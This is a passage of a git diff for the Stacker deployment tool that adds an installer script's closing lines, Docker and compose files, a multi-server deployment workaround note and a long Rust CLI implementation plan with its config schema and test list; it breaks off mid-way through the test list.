[--channel stable|beta] [--version X.Y.Z] [--dir /path]" + exit 0 + ;; + *) err "Unknown option: $1" ;; + esac +done + +# ── Main ───────────────────────────────────────────── + +info "Stacker CLI installer" +info " Channel: ${CHANNEL}" +info " Install dir: ${INSTALL_DIR}" +echo "" + +download_and_install +verify + +echo "" +ok "Done! Run 'stacker --help' to get started." diff --git a/stacker/stacker/local-only-settings/.stacker/docker-compose.yml b/stacker/stacker/local-only-settings/.stacker/docker-compose.yml new file mode 100644 index 0000000..6761b81 --- /dev/null +++ b/stacker/stacker/local-only-settings/.stacker/docker-compose.yml @@ -0,0 +1,34 @@ +services: + app: + build: + context: .. + dockerfile: .stacker/Dockerfile + ports: + - 3000:3000 + restart: unless-stopped + networks: + - app-network + web: + image: trydirect/stacker-website:latest + ports: + - 3456:3456 + volumes: + - .:/app + restart: unless-stopped + networks: + - app-network + nginx: + image: nginx:alpine + ports: + - 80:80 + - 443:443 + volumes: + - ./nginx/conf.d:/etc/nginx/conf.d:ro + depends_on: + - app + restart: unless-stopped + networks: + - app-network +networks: + app-network: + driver: bridge diff --git a/stacker/stacker/local-only-settings/Dockerfile b/stacker/stacker/local-only-settings/Dockerfile new file mode 100644 index 0000000..284bc9b --- /dev/null +++ b/stacker/stacker/local-only-settings/Dockerfile @@ -0,0 +1,39 @@ +## Use an official Node runtime as a parent image +#FROM node:16-alpine +# +## Set the working directory in the container +#WORKDIR /usr/src/app +# +## Copy package.json and package-lock.json +#COPY package*.json ./ +# +## Install dependencies +#RUN npm install --only=production +# +## Copy project files +#COPY . . +# +## Expose the application port +#EXPOSE 3456 +# +## Set environment variables if needed +#ENV NODE_ENV production +# +## Build the application +#RUN npm run build +# +## Command to run the application +#CMD ["npm", "run", "serve"] + +FROM node:16-alpine as builder +WORKDIR /app +COPY . . +RUN npm install --only=production +RUN npm run build + +# Stage 2: Final production image +FROM node:16-alpine +WORKDIR /app +COPY --from=builder /app/dist ./dist +EXPOSE 3456 +CMD ["npm", "run", "serve"] \ No newline at end of file diff --git a/stacker/stacker/local-only-settings/MULTI_SERVER_DEPLOYMENT.md b/stacker/stacker/local-only-settings/MULTI_SERVER_DEPLOYMENT.md new file mode 100644 index 0000000..d1ee709 --- /dev/null +++ b/stacker/stacker/local-only-settings/MULTI_SERVER_DEPLOYMENT.md @@ -0,0 +1,50 @@ +# Multi-Server Deployment (Current Workaround) + +## Overview + +Stacker currently uses a 1:1:1 model: one deployment → one agent → one server. True multi-server deployment of a single service is not yet supported. However, you can achieve a similar result today using multiple deployments. + +## Workaround: Multiple Deployments Per Project + +Create separate deployments under the same project, each targeting a different server: + +``` +Project: "my-app" +├── Deployment #1 (hash: abc...) → Server A → Agent A → openclaw +└── Deployment #2 (hash: def...) → Server B → Agent B → openclaw +``` + +### How to set up + +1. Create your project with openclaw in the service catalog +2. Deploy to Server A with one `stacker.yml` config pointing to the first server: + ```yaml + deploy: + target: server + server: + host: 203.0.113.10 + user: deploy + ssh_key: ~/.ssh/deploy_key + ``` +3. Create a second deployment for Server B by updating the target and deploying again: + ```yaml + deploy: + target: server + server: + host: 203.0.113.11 + user: deploy + ssh_key: ~/.ssh/deploy_key + ``` + +Each deployment gets its own: +- `deployment_hash` +- Status Panel agent instance +- Vault tokens and secrets +- Command queue +- Independent health monitoring + +### Limitations + +- Each deployment is **managed independently** — no unified status view across both servers +- Configuration changes must be applied to each deployment separately +- No built-in load balancing between the two instances; use an external reverse proxy or DNS-based routing diff --git a/stacker/stacker/local-only-settings/STACKER_CLI_PLAN.md b/stacker/stacker/local-only-settings/STACKER_CLI_PLAN.md new file mode 100644 index 0000000..55ec78f --- /dev/null +++ b/stacker/stacker/local-only-settings/STACKER_CLI_PLAN.md @@ -0,0 +1,1973 @@ +# Stacker CLI — Implementation Plan + +> **Approach**: Test-Driven Development — write automated tests first, then implement. +> **Principles**: Clean Code (Robert C. Martin), Rust idioms (Builder, From/Into, small functions, single responsibility). +> **Date**: 2026-02-22 +> **Status**: Draft + +--- + +## Table of Contents + +- [Overview](#overview) +- [Clean Code Principles Applied](#clean-code-principles-applied) +- [Architecture & Module Design](#architecture--module-design) +- [Type System Design](#type-system-design) +- [stacker.yml Configuration Schema](#stackeryml-configuration-schema) +- [CLI Command Interface](#cli-command-interface) +- [Test-First Implementation Plan](#test-first-implementation-plan) +- [Step-by-Step Implementation](#step-by-step-implementation) +- [Verification](#verification) +- [Decisions Log](#decisions-log) + +--- + +## Overview + +Extend the existing Stacker Rust console binary (`src/console/main.rs`) with new subcommands +enabling developers to deploy simple HTML+JS+CSS apps (and more) by adding a single `stacker.yml` +configuration file to their project. + +**Key capabilities:** +- Auto-detect project type, generate Dockerfile and docker-compose.yml when missing +- Deploy locally (docker compose), to cloud (via install container with Terraform/Ansible), or to existing servers (SSH) +- Auto-connect to existing nginx or Nginx Proxy Manager +- AI-assisted Dockerfile generation and troubleshooting (via LLM) +- Deploy Status Panel agent alongside app for monitoring +- Pull install container for Terraform/Ansible execution (no local install needed) +- Standalone for local deploys; optional TryDirect login for cloud/marketplace/AI + +--- + +## Clean Code Principles Applied + +### Naming: Intention-Revealing Names (Ch. 2) + +Every struct, function, and variable tells its purpose. No abbreviations, no generic names: + +``` +Bad: fn proc(c: &Config) -> Res +Good: fn generate_dockerfile(project: &ProjectDetection) -> Result + +Bad: struct Cfg { tp: String, p: String } +Good: struct AppSource { app_type: AppType, source_path: PathBuf } +``` + +### Functions: Small, Do One Thing (Ch. 3) + +Each function does exactly one thing at one level of abstraction. Command handlers +delegate to focused service functions: + +``` +deploy_command() → orchestration only +├── config_parser::load("stacker.yml") → parsing only +├── detector::detect(&source_path) → file scanning only +├── generator::dockerfile(...) → Dockerfile text only +├── generator::compose(...) → compose YAML only +└── runner::start_containers(...) → docker execution only +``` + +### Single Responsibility Principle (SRP) + +| Module | Single Responsibility | +|--------|-----------------------| +| `config_parser` | Parse and validate stacker.yml | +| `detector` | Identify project type from filesystem | +| `generator::dockerfile` | Produce Dockerfile content | +| `generator::compose` | Produce docker-compose.yml content | +| `proxy_manager` | Detect and configure reverse proxies | +| `credentials` | Store and retrieve auth tokens | +| `ai_client` | Communicate with LLM providers | +| `install_runner` | Run Terraform/Ansible via container | + +### Open/Closed Principle (OCP) + +New app types, cloud providers, and proxy types are added by extending enums +and implementing `From`/`Into` — not by modifying existing match arms: + +```rust +// Adding a new app type only requires: +// 1. Add variant to AppType enum +// 2. Implement From for DockerfileTemplate +// No existing code changes needed. +``` + +### Dependency Inversion Principle (DIP) + +Commands depend on traits, not concrete implementations. This enables testing +with mocks while keeping production code clean: + +```rust +// Trait (abstraction) +trait ContainerRuntime { + fn start(&self, compose_path: &Path) -> Result<(), RuntimeError>; + fn stop(&self, compose_path: &Path) -> Result<(), RuntimeError>; + fn logs(&self, service: &str, follow: bool) -> Result; +} + +// Production: DockerComposeRuntime +// Tests: MockContainerRuntime +``` + +### Error Handling: Use Exceptions (Types), Not Return Codes (Ch. 7) + +Following the existing codebase pattern — custom error enums with `Display`, +`From` conversions for error wrapping, and `anyhow` for ad-hoc contexts. +No string-based error passing. + +### DRY: Don't Repeat Yourself + +Shared template rendering, env var interpolation, and YAML generation are +extracted into reusable utilities — not duplicated across commands. + +--- + +## Architecture & Module Design + +``` +stacker/src/ +├── cli/ # NEW: Core CLI library modules +│ ├── mod.rs # Public API surface +│ ├── config_parser.rs # stacker.yml → StackerConfig +│ ├── detector.rs # Filesystem → ProjectDetection +│ ├── error.rs # CliError enum (single error hierarchy) +│ ├── generator/ +│ │ ├── mod.rs +│ │ ├── dockerfile.rs # AppType → Dockerfile content +│ │ ├── compose.rs # StackerConfig → docker-compose.yml +│ │ └── templates.rs # Embedded Dockerfile templates +│ ├── proxy_manager.rs # Proxy detection + configuration +│ ├── ai_client.rs # LLM provider abstraction +│ ├── credentials.rs # Token storage + refresh +│ └── install_runner.rs # Install container orchestration +│ +├── console/ +│ ├── main.rs # Extended Commands enum +│ └── commands/ +│ ├── cli/ # NEW: CLI command implementations +│ │ ├── mod.rs +│ │ ├── login.rs # CallableTrait impl +│ │ ├── init.rs +│ │ ├── deploy/ +│ │ │ ├── mod.rs # DeployCommand dispatcher +│ │ │ ├── local.rs # LocalDeployStrategy +│ │ │ ├── cloud.rs # CloudDeployStrategy +│ │ │ └── server.rs # ServerDeployStrategy +│ │ ├── logs.rs +│ │ ├── status.rs +│ │ ├── destroy.rs +│ │ ├── config.rs +│ │ ├── ai.rs +│ │ ├── proxy.rs +│ │ └── update.rs +│ └── ...existing commands... +``` + +### Dependency Graph (no cycles) + +``` +commands/cli/* + └── depends on → cli/* (library modules) + └── depends on → models, helpers, connectors (existing stacker infra) +``` + +--- + +## Type System Design + +### Core Types with Builder, From/Into + +All types follow existing codebase conventions: `Debug` always, `Clone + Serialize + Deserialize` +on DTOs, `Default` on structs with optional fields, `Validate` on user inputs. + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// cli/config_parser.rs — The central config type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Root configuration parsed from stacker.yml. +/// Every optional section defaults to sensible values via Default. +#[derive(Debug, Clone, Serialize, Deserialize, Default, Validate)] +pub struct StackerConfig { + #[validate(min_length = 1)] + #[validate(max_length = 128)] + pub name: String, + + #[serde(default)] + pub version: Option, + + #[serde(default)] + pub organization: Option, + + pub app: AppSource, + + #[serde(default)] + pub services: Vec, + + #[serde(default)] + pub proxy: ProxyConfig, + + #[serde(default)] + pub deploy: DeployConfig, + + #[serde(default)] + pub ai: AiConfig, + + #[serde(default)] + pub monitoring: MonitoringConfig, + + #[serde(default)] + pub hooks: HookConfig, + + #[serde(default)] + pub env_file: Option, + + #[serde(default)] + pub env: HashMap, +} + +impl StackerConfig { + /// Load from file path, resolving env vars and validating. + pub fn from_file(path: &Path) -> Result { ... } + + /// Validate cross-field constraints beyond serde_valid. + pub fn validate_semantics(&self) -> Result<(), Vec> { ... } +} +``` + +### Enums with Display, From, serde rename + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// AppType — Discoverable project types +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum AppType { + Static, + Node, + Python, + Rust, + Go, + Php, + Custom, +} + +impl std::fmt::Display for AppType { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Static => write!(f, "static"), + Self::Node => write!(f, "node"), + Self::Python => write!(f, "python"), + Self::Rust => write!(f, "rust"), + Self::Go => write!(f, "go"), + Self::Php => write!(f, "php"), + Self::Custom => write!(f, "custom"), + } + } +} + +impl Default for AppType { + fn default() -> Self { Self::Static } +} +``` + +### Builder Pattern — ConfigBuilder + +Fluent builder for constructing `StackerConfig` programmatically (used by `stacker init` +and tests). Follows the `JsonResponseBuilder` pattern already in the codebase: + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// ConfigBuilder — fluent stacker.yml construction +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Default)] +pub struct ConfigBuilder { + name: Option, + version: Option, + organization: Option, + app_type: Option, + app_path: Option, + services: Vec, + proxy: Option, + deploy_target: Option, + ai: Option, + monitoring: Option, +} + +impl ConfigBuilder { + pub fn new() -> Self { + Self::default() + } + + pub fn name>(mut self, name: S) -> Self { + self.name = Some(name.into()); + self + } + + pub fn app_type(mut self, app_type: AppType) -> Self { + self.app_type = Some(app_type); + self + } + + pub fn app_path>(mut self, path: P) -> Self { + self.app_path = Some(path.into()); + self + } + + pub fn add_service(mut self, service: ServiceDefinition) -> Self { + self.services.push(service); + self + } + + pub fn proxy(mut self, proxy: ProxyConfig) -> Self { + self.proxy = Some(proxy); + self + } + + pub fn deploy_target(mut self, target: DeployTarget) -> Self { + self.deploy_target = Some(target); + self + } + + pub fn ai(mut self, ai: AiConfig) -> Self { + self.ai = Some(ai); + self + } + + pub fn monitoring(mut self, monitoring: MonitoringConfig) -> Self { + self.monitoring = Some(monitoring); + self + } + + /// Consume the builder, validate, and produce StackerConfig. + /// Returns CliError::ConfigValidation if required fields are missing. + pub fn build(self) -> Result { + let name = self.name + .ok_or(CliError::ConfigValidation("name is required".into()))?; + + Ok(StackerConfig { + name, + version: self.version, + organization: self.organization, + app: AppSource { + app_type: self.app_type.unwrap_or_default(), + path: self.app_path.unwrap_or_else(|| PathBuf::from(".")), + ..Default::default() + }, + services: self.services, + proxy: self.proxy.unwrap_or_default(), + deploy: DeployConfig { + target: self.deploy_target.unwrap_or_default(), + ..Default::default() + }, + ai: self.ai.unwrap_or_default(), + monitoring: self.monitoring.unwrap_or_default(), + ..Default::default() + }) + } +} +``` + +### Builder Pattern — DockerfileBuilder + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DockerfileBuilder — construct Dockerfile content +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Default)] +pub struct DockerfileBuilder { + base_image: Option, + workdir: Option, + copy_instructions: Vec<(String, String)>, + run_commands: Vec, + expose_ports: Vec, + entrypoint: Option>, + cmd: Option>, + build_args: Vec<(String, String)>, + stages: Vec, +} + +impl DockerfileBuilder { + pub fn new() -> Self { Self::default() } + + pub fn base_image>(mut self, image: S) -> Self { + self.base_image = Some(image.into()); + self + } + + pub fn workdir>(mut self, dir: S) -> Self { + self.workdir = Some(dir.into()); + self + } + + pub fn copy>(mut self, src: S, dst: S) -> Self { + self.copy_instructions.push((src.into(), dst.into())); + self + } + + pub fn run>(mut self, cmd: S) -> Self { + self.run_commands.push(cmd.into()); + self + } + + pub fn expose(mut self, port: u16) -> Self { + self.expose_ports.push(port); + self + } + + pub fn cmd(mut self, cmd: Vec) -> Self { + self.cmd = Some(cmd); + self + } + + pub fn build_arg>(mut self, key: S, default: S) -> Self { + self.build_args.push((key.into(), default.into())); + self + } + + /// Produce the Dockerfile content as a String. + pub fn build(self) -> Result { + let base = self.base_image + .ok_or(CliError::GeneratorError("base_image is required".into()))?; + let mut lines = Vec::new(); + lines.push(format!("FROM {base}")); + // ... assemble all instructions + Ok(lines.join("\n")) + } +} +``` + +### From/Into Conversions — Type-Safe Transformations + +Following the heavy `From`/`TryFrom` usage in the existing codebase (see +`DeploymentIdentifier`, form↔model conversions, view mappings): + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// From for DockerfileBuilder — auto-configure by type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl From for DockerfileBuilder { + fn from(app_type: AppType) -> Self { + match app_type { + AppType::Static => DockerfileBuilder::new() + .base_image("nginx:alpine") + .copy(".", "/usr/share/nginx/html") + .expose(80), + + AppType::Node => DockerfileBuilder::new() + .base_image("node:lts-alpine") + .workdir("/app") + .copy("package*.json", ".") + .run("npm ci --only=production") + .copy(".", ".") + .expose(3000) + .cmd(vec!["node".into(), "server.js".into()]), + + AppType::Python => DockerfileBuilder::new() + .base_image("python:3.12-slim") + .workdir("/app") + .copy("requirements.txt", ".") + .run("pip install --no-cache-dir -r requirements.txt") + .copy(".", ".") + .expose(8000), + + AppType::Rust => DockerfileBuilder::new() + .base_image("rust:1-slim-bookworm") + .workdir("/app") + .copy("Cargo.toml", ".") + .copy("Cargo.lock", ".") + .copy("src", "src") + .run("cargo build --release") + .expose(8080), + + AppType::Go => DockerfileBuilder::new() + .base_image("golang:1.22-alpine") + .workdir("/app") + .copy("go.mod", ".") + .copy("go.sum", ".") + .run("go mod download") + .copy(".", ".") + .run("go build -o /app/main .") + .expose(8080), + + AppType::Php => DockerfileBuilder::new() + .base_image("php:8.3-apache") + .copy(".", "/var/www/html") + .expose(80), + + AppType::Custom => DockerfileBuilder::new(), + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// From for AppType — detector → type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl From<&ProjectDetection> for AppType { + fn from(detection: &ProjectDetection) -> Self { + detection.app_type + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// From for ComposeDefinition — config → compose +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl TryFrom<&StackerConfig> for ComposeDefinition { + type Error = CliError; + + fn try_from(config: &StackerConfig) -> Result { + let mut services = Vec::new(); + + // App service + let app_service = ComposeService::from(&config.app); + services.push(app_service); + + // Additional services + for svc in &config.services { + services.push(ComposeService::from(svc)); + } + + // Proxy service (if configured) + if config.proxy.proxy_type != ProxyType::None { + let proxy_service = ComposeService::try_from(&config.proxy)?; + services.push(proxy_service); + } + + // Status panel (if monitoring enabled) + if config.monitoring.status_panel { + services.push(ComposeService::status_panel()); + } + + Ok(ComposeDefinition { services, ..Default::default() }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// From<&ServiceDefinition> for ComposeService — user service → compose +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl From<&ServiceDefinition> for ComposeService { + fn from(svc: &ServiceDefinition) -> Self { + ComposeService { + name: svc.name.clone(), + image: svc.image.clone(), + ports: svc.ports.clone(), + environment: svc.environment.clone(), + volumes: svc.volumes.clone(), + ..Default::default() + } + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// From for DeployPayload — config → install service format +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl TryFrom<&StackerConfig> for DeployPayload { + type Error = CliError; + + fn try_from(config: &StackerConfig) -> Result { + // Transforms stacker.yml config into the Payload format + // expected by InstallServiceClient::deploy() + // (see forms/project/payload.rs for the target structure) + ... + } +} +``` + +### Error Hierarchy — Single Unified Type + +Following the `ConnectorError` / `DeploymentValidationError` pattern in the codebase. +One `CliError` enum covers all CLI failure modes with structured variants: + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// cli/error.rs — Unified CLI error type +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug)] +pub enum CliError { + // Config errors + ConfigNotFound { path: PathBuf }, + ConfigParseFailed { source: serde_yaml::Error }, + ConfigValidation(String), + EnvVarNotFound { var_name: String }, + + // Detection errors + DetectionFailed { path: PathBuf, reason: String }, + + // Generator errors + GeneratorError(String), + DockerfileExists { path: PathBuf }, + + // Deployment errors + DeployFailed { target: DeployTarget, reason: String }, + LoginRequired { feature: String }, + CloudProviderMissing, + ServerHostMissing, + + // Runtime errors + ContainerRuntimeUnavailable, + CommandFailed { command: String, exit_code: i32 }, + + // Auth errors + AuthFailed(String), + TokenExpired, + + // AI errors + AiNotConfigured, + AiProviderError { provider: String, message: String }, + + // Proxy errors + ProxyConfigFailed(String), + + // IO errors + Io(std::io::Error), +} + +impl std::fmt::Display for CliError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::ConfigNotFound { path } => + write!(f, "Configuration file not found: {}", path.display()), + Self::ConfigParseFailed { source } => + write!(f, "Failed to parse stacker.yml: {source}"), + Self::ConfigValidation(msg) => + write!(f, "Configuration validation error: {msg}"), + Self::EnvVarNotFound { var_name } => + write!(f, "Environment variable not found: ${var_name}"), + Self::LoginRequired { feature } => + write!(f, "Login required for {feature}. Run: stacker login"), + Self::ContainerRuntimeUnavailable => + write!(f, "Docker is not running. Install Docker or start the Docker daemon."), + // ... every variant has a human-readable message + _ => write!(f, "{self:?}"), + } + } +} + +impl std::error::Error for CliError {} + +// From conversions for ergonomic error propagation with ? +impl From for CliError { + fn from(err: std::io::Error) -> Self { Self::Io(err) } +} + +impl From for CliError { + fn from(err: serde_yaml::Error) -> Self { Self::ConfigParseFailed { source: err } } +} +``` + +### Strategy Pattern — Deploy Targets + +Each deploy target is a strategy implementing a common trait. +New targets are added by implementing `DeployStrategy` — no modification of existing code (OCP): + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Deploy strategy trait (DIP + Strategy pattern) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[async_trait] +pub trait DeployStrategy { + /// Validate that all prerequisites are met for this target. + fn validate(&self, config: &StackerConfig) -> Result<(), CliError>; + + /// Execute the deployment. + async fn deploy(&self, context: &DeployContext) -> Result; + + /// Tear down a deployment created by this strategy. + async fn destroy(&self, context: &DeployContext) -> Result<(), CliError>; +} + +// Concrete strategies +pub struct LocalDeploy; // docker compose up/down +pub struct CloudDeploy; // install container → Terraform/Ansible +pub struct ServerDeploy; // SSH + docker compose or Ansible + +// Factory: DeployTarget enum → strategy (From pattern) +impl DeployTarget { + pub fn strategy(&self) -> Box { + match self { + DeployTarget::Local => Box::new(LocalDeploy), + DeployTarget::Cloud => Box::new(CloudDeploy), + DeployTarget::Server => Box::new(ServerDeploy), + } + } +} +``` + +### Trait-Based Abstractions for Testability (DIP) + +Following the `UserServiceConnector` / `MockUserServiceConnector` pattern: + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Abstractions for testing — trait + mock pairs +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +// Container runtime +#[async_trait] +pub trait ContainerRuntime: Send + Sync { + async fn compose_up(&self, path: &Path, build: bool) -> Result<(), CliError>; + async fn compose_down(&self, path: &Path, volumes: bool) -> Result<(), CliError>; + async fn compose_logs(&self, path: &Path, service: Option<&str>, + follow: bool, tail: Option) -> Result<(), CliError>; + async fn list_containers(&self) -> Result, CliError>; + fn is_available(&self) -> bool; +} + +pub struct DockerComposeRuntime; // Production +pub struct MockContainerRuntime; // Tests + +// Filesystem (for detector/generator testing without tempdir) +pub trait FileSystem: Send + Sync { + fn exists(&self, path: &Path) -> bool; + fn read_to_string(&self, path: &Path) -> Result; + fn write(&self, path: &Path, content: &str) -> Result<(), CliError>; + fn list_dir(&self, path: &Path) -> Result, CliError>; +} + +pub struct RealFileSystem; // Production +pub struct MockFileSystem; // Tests — in-memory HashMap + +// AI provider +#[async_trait] +pub trait AiProvider: Send + Sync { + async fn complete(&self, prompt: &str, context: &str) -> Result; +} + +pub struct OpenAiProvider; +pub struct OllamaProvider; +pub struct MockAiProvider; // Tests — returns canned responses +``` + +### Validation — Structured Issues + +```rust +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Validation results (like ValidateStackConfigTool pattern) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ValidationIssue { + pub severity: Severity, + pub code: String, + pub message: String, + pub field: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum Severity { + Error, + Warning, + Info, +} + +impl std::fmt::Display for Severity { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::Error => write!(f, "error"), + Self::Warning => write!(f, "warning"), + Self::Info => write!(f, "info"), + } + } +} +``` + +--- + +## stacker.yml Configuration Schema + +```yaml +# ===== Project Identity ===== +name: my-landing-page # required +version: "1.0" # optional +organization: acme-corp # optional, set via `stacker login` + +# ===== Application Source ===== +app: + type: static # static | node | python | rust | go | php | custom + path: ./src # app source root (default: .) + dockerfile: ./Dockerfile # optional — auto-generated if missing + image: registry.io/myapp:v1 # optional — skip build if provided + build: + context: . + args: + NODE_ENV: production + ports: # optional — overrides default port from type + - "8080:3000" + volumes: # optional — volume mounts for the app + - "./uploads:/app/uploads" + environment: # optional — merged with top-level env (app wins) + NODE_ENV: production + +# ===== Services ===== +services: + - name: postgres + image: postgres:16 + ports: ["5432:5432"] + environment: + POSTGRES_DB: myapp + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data + - name: redis + image: redis:7-alpine + +# ===== Proxy / Ingress ===== +proxy: + type: nginx # nginx | nginx-proxy-manager | traefik | none + auto_detect: true + domains: + - domain: myapp.example.com + ssl: auto # auto | manual | off + upstream: app:3000 + config: ./nginx.conf + +# ===== Deployment Target ===== +deploy: + target: local # local | cloud | server + compose_file: ./docker-compose.yml + + cloud: + provider: hetzner # hetzner | digitalocean | aws | linode | vultr + region: fsn1 + size: cpx21 + ssh_key: ~/.ssh/id_ed25519 + + server: + host: 192.168.1.100 + user: deploy + ssh_key: ~/.ssh/id_ed25519 + port: 22 + +# ===== AI Assistant ===== +ai: + enabled: true + provider: openai # openai | anthropic | ollama | custom + model: gpt-4o + api_key: ${OPENAI_API_KEY} + endpoint: null + tasks: [dockerfile, compose, troubleshoot, security] + +# ===== Monitoring ===== +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s + metrics: + enabled: true + telegraf: false + +# ===== Lifecycle Hooks ===== +hooks: + pre_build: ./scripts/pre-build.sh + post_deploy: ./scripts/post-deploy.sh + on_failure: ./scripts/on-failure.sh + +# ===== Environment ===== +env_file: .env +env: + APP_PORT: "3000" + LOG_LEVEL: info +``` + +### Minimal config (static HTML app) + +```yaml +name: my-site +app: + type: static + path: ./public +``` + +--- + +## CLI Command Interface + +``` +stacker login [--org ] [--domain ] [--api-url ] +stacker init [--type static|node|python|rust|go|php] [--with-proxy] [--with-ai] +stacker deploy [--target local|cloud|server] [--file stacker.yml] [--dry-run] [--force-rebuild] +stacker logs [--service ] [--follow] [--tail ] [--since ] +stacker status [--json] [--watch] +stacker destroy [--volumes] [--confirm] +stacker config validate [--file stacker.yml] +stacker config show [--file stacker.yml] +stacker ai ask "" [--context deploy|compose|dockerfile] +stacker proxy add [--upstream ] [--ssl auto|manual|off] +stacker proxy detect +stacker update [--channel stable|nightly] +``` + +--- + +## Test-First Implementation Plan + +### Dev-Dependencies to Add + +```toml +# stacker/Cargo.toml [dev-dependencies] — additions +assert_cmd = "2.0" # CLI binary testing +predicates = "3.0" # Assertion helpers for assert_cmd +tempfile = "3" # Temp dirs for project scaffolding tests +mockito = "1" # HTTP mock server +``` + +### Test Phases and Files + +Tests are organized in dependency order — each phase builds on types from the previous. + +--- + +### Phase 0: Error Types + Core Enums (foundation) + +**File: `src/cli/error.rs` — `#[cfg(test)] mod tests`** + +``` +test_cli_error_display_config_not_found + — Create CliError::ConfigNotFound { path: "/tmp/stacker.yml".into() } + — Assert: display contains "Configuration file not found: /tmp/stacker.yml" + +test_cli_error_display_env_var_not_found + — Create CliError::EnvVarNotFound { var_name: "DB_PASSWORD".into() } + — Assert: display contains "DB_PASSWORD" + +test_cli_error_display_login_required + — Create CliError::LoginRequired { feature: "cloud deploy".into() } + — Assert: display contains "stacker login" + +test_cli_error_from_io_error + — Create std::io::Error → convert via From + — Assert: matches CliError::Io(_) + +test_cli_error_from_yaml_error + — Create serde_yaml parse error → convert via From + — Assert: matches CliError::ConfigParseFailed { .. } + +test_app_type_display + — For each AppType variant: assert display matches serde rename + — Static→"static", Node→"node", Python→"python" etc. + +test_app_type_serde_roundtrip + — Serialize AppType::Node → deserialize back + — Assert: equality preserved + +test_app_type_default_is_static + — Assert: AppType::default() == AppType::Static + +test_deploy_target_display + — DeployTarget::Cloud → "cloud" + — DeployTarget::Local → "local" + — DeployTarget::Server → "server" + +test_deploy_target_default_is_local + — Assert: DeployTarget::default() == DeployTarget::Local + +test_proxy_type_display + — ProxyType::Nginx → "nginx" + — ProxyType::NginxProxyManager → "nginx-proxy-manager" + — ProxyType::None → "none" + +test_severity_display + — Severity::Error → "error" + — Severity::Warning → "warning" + +test_validation_issue_serialize + — Create ValidationIssue with code/message/field + — Serialize to JSON → assert expected structure +``` + +**13 tests** — Establishes error hierarchy and enum behavior. + +--- + +### Phase 1: Config Parser + Builder + +**File: `src/cli/config_parser.rs` — `#[cfg(test)] mod tests`** + +``` +test_parse_minimal_config + — Parse: name + app.type + app.path only + — Assert: name="my-site", app.app_type=Static, app.path="./public" + — Assert: all optional sections are Default values + +test_parse_full_config + — Parse complete stacker.yml with every section populated + — Assert: every field parsed correctly, services.len() correct, proxy domains correct + +test_parse_env_var_interpolation + — Set env var TEST_DB_PASS=secret123 + — Parse config with password: ${TEST_DB_PASS} + — Assert: resolved to "secret123" + +test_parse_env_var_missing_returns_error + — Parse config with ${NONEXISTENT_VAR} + — Assert: CliError::EnvVarNotFound { var_name: "NONEXISTENT_VAR" } + +test_parse_env_file_loads_vars + — Write .env to tempdir with KEY=value + — Parse config with env_file: .env + — Assert: env map contains KEY=value + +test_parse_invalid_app_type_returns_error + — Parse: app.type: cobol + — Assert: serde error mentioning unknown variant + +test_parse_missing_name_returns_error + — Parse config without name field + — Assert: 